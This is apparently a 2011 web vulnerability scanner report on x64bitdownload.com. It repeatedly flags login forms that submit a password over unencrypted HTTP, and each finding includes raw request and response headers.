HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:55:48 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 16:06:15 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A15%3A%22synchronization%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A15%3A%22synchronization%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 90120
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://www.x64bitdownload.com/login.html
The form contains the following password field:
password
Request
GET /64-bit-synchronize-downloads.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:55:58 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 16:06:04 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A11%3A%22synchronize%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A11%3A%22synchronize%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 91266
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://www.x64bitdownload.com/login.html
The form contains the following password field:
password
Request
GET /64-bit-topic-downloads.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 16:00:27 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 16:10:40 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A5%3A%22topic%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A5%3A%22topic%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 84529
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://www.x64bitdownload.com/login.html
The form contains the following password field:
password
Request
GET /64-bit-troll-downloads.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:57:41 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 16:07:52 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A5%3A%22troll%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A5%3A%22troll%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 28755
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://www.x64bitdownload.com/login.html
The form contains the following password field:
password
Request
GET /64-bit-troll-killer-downloads.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:58:51 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 16:09:21 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A12%3A%22troll-killer%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A12%3A%22troll+killer%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 31427
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://www.x64bitdownload.com/login.html
The form contains the following password field:
password
Request
GET /64-bit-trollkiller-downloads.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:58:19 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 16:09:01 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A11%3A%22trollkiller%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A11%3A%22trollkiller%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 28488
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://www.x64bitdownload.com/login.html
The form contains the following password field:
password
Request
GET /64-bit-use-next-downloads.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:47:10 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:57:25 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A8%3A%22use-next%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A8%3A%22use+next%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 60741
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://www.x64bitdownload.com/login.html
The form contains the following password field:
password
Request
GET /64-bit-usenet-c-44-newsgroup-clients-downloads.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:32:27 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:42:43 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A6%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A6%3A%22usenet%22%3Bs%3A11%3A%22category_id%22%3Bs%3A2%3A%2244%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A6%3A%22usenet%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 37040
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://www.x64bitdownload.com/login.html
The form contains the following password field:
password
Request
GET /64-bit-usenet-downloads.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:46:25 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:56:28 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A6%3A%22usenet%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A6%3A%22usenet%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 79207
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://www.x64bitdownload.com/login.html
The form contains the following password field:
password
Request
GET /64-bit-usenet-search-engine-downloads.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:35:14 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:45:21 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A20%3A%22usenet-search-engine%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A20%3A%22usenet+search+engine%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 38579
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://www.x64bitdownload.com/login.html
The form contains the following password field:
password
Request
GET /64-bit-usenext-downloads.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:46:45 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:56:53 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A7%3A%22usenext%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A7%3A%22usenext%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 28745
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://www.x64bitdownload.com/login.html
The form contains the following password field:
password
Request
GET /64-bit-video-downloads.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:39:43 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:50:00 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A5%3A%22video%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A5%3A%22video%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 99673
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://www.x64bitdownload.com/login.html
The form contains the following password field:
password
Request
GET /64-bit-xpat-downloads.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:51:40 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 16:02:08 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A4%3A%22xpat%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A4%3A%22xpat%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 28893
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://www.x64bitdownload.com/login.html
The form contains the following password field:
password
Request
GET /64-bit-yenc-downloads.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:38:59 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:49:15 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A4%3A%22yenc%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A4%3A%22yenc%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 49249
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://www.x64bitdownload.com/login.html
The form contains the following password field:
password
Request
GET /a-oz-insight-1768-downloads.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:42:03 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:52:08 GMT Cache-Control: max-age=600 Pragma: cache Connection: close Content-Type: text/html; charset=UTF-8 X-Pad: avoid browser bug Content-Length: 26030
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://www.x64bitdownload.com/login.html
The form contains the following password field:
password
Request
GET /categories/free-64-bit-audio-multimedia-downloads-1-0-d.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:24:15 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:34:15 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A3%3A%7Bs%3A11%3A%22category_id%22%3Bs%3A1%3A%221%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22d%22%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 79639
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://www.x64bitdownload.com/login.html
The form contains the following password field:
password
Request
GET /categories/free-64-bit-business-downloads-2-0-d.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:24:31 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:34:51 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A3%3A%7Bs%3A11%3A%22category_id%22%3Bs%3A1%3A%222%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22d%22%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 85656
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://www.x64bitdownload.com/login.html
The form contains the following password field:
password
Request
GET /categories/free-64-bit-communications-chat-instant-messaging-downloads-3-39-0-d.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:24:33 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:34:40 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A4%3A%7Bs%3A11%3A%22category_id%22%3Bs%3A1%3A%223%22%3Bs%3A14%3A%22subcategory_id%22%3Bs%3A2%3A%2239%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22d%22%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 83121
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://www.x64bitdownload.com/login.html
The form contains the following password field:
password
Request
GET /categories/free-64-bit-communications-dial-up-connection-tools-downloads-3-40-0-d.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:25:23 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:35:27 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A4%3A%7Bs%3A11%3A%22category_id%22%3Bs%3A1%3A%223%22%3Bs%3A14%3A%22subcategory_id%22%3Bs%3A2%3A%2240%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22d%22%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 66926
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://www.x64bitdownload.com/login.html
The form contains the following password field:
password
Request
GET /categories/free-64-bit-communications-downloads-3-0-d.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:24:31 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:34:39 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A3%3A%7Bs%3A11%3A%22category_id%22%3Bs%3A1%3A%223%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22d%22%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 82470
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://www.x64bitdownload.com/login.html
The form contains the following password field:
password
Request
GET /categories/free-64-bit-communications-e-mail-clients-downloads-3-41-0-d.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:25:26 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:35:41 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A4%3A%7Bs%3A11%3A%22category_id%22%3Bs%3A1%3A%223%22%3Bs%3A14%3A%22subcategory_id%22%3Bs%3A2%3A%2241%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22d%22%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 79258
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://www.x64bitdownload.com/login.html
The form contains the following password field:
password
Request
GET /categories/free-64-bit-communications-e-mail-list-management-downloads-3-42-0-d.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:25:28 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:35:28 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A4%3A%7Bs%3A11%3A%22category_id%22%3Bs%3A1%3A%223%22%3Bs%3A14%3A%22subcategory_id%22%3Bs%3A2%3A%2242%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22d%22%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 81866
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://www.x64bitdownload.com/login.html
The form contains the following password field:
password
Request
GET /categories/free-64-bit-communications-fax-tools-downloads-3-43-0-d.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:25:31 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:35:43 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A4%3A%7Bs%3A11%3A%22category_id%22%3Bs%3A1%3A%223%22%3Bs%3A14%3A%22subcategory_id%22%3Bs%3A2%3A%2243%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22d%22%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 77654
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://www.x64bitdownload.com/login.html
The form contains the following password field:
password
Request
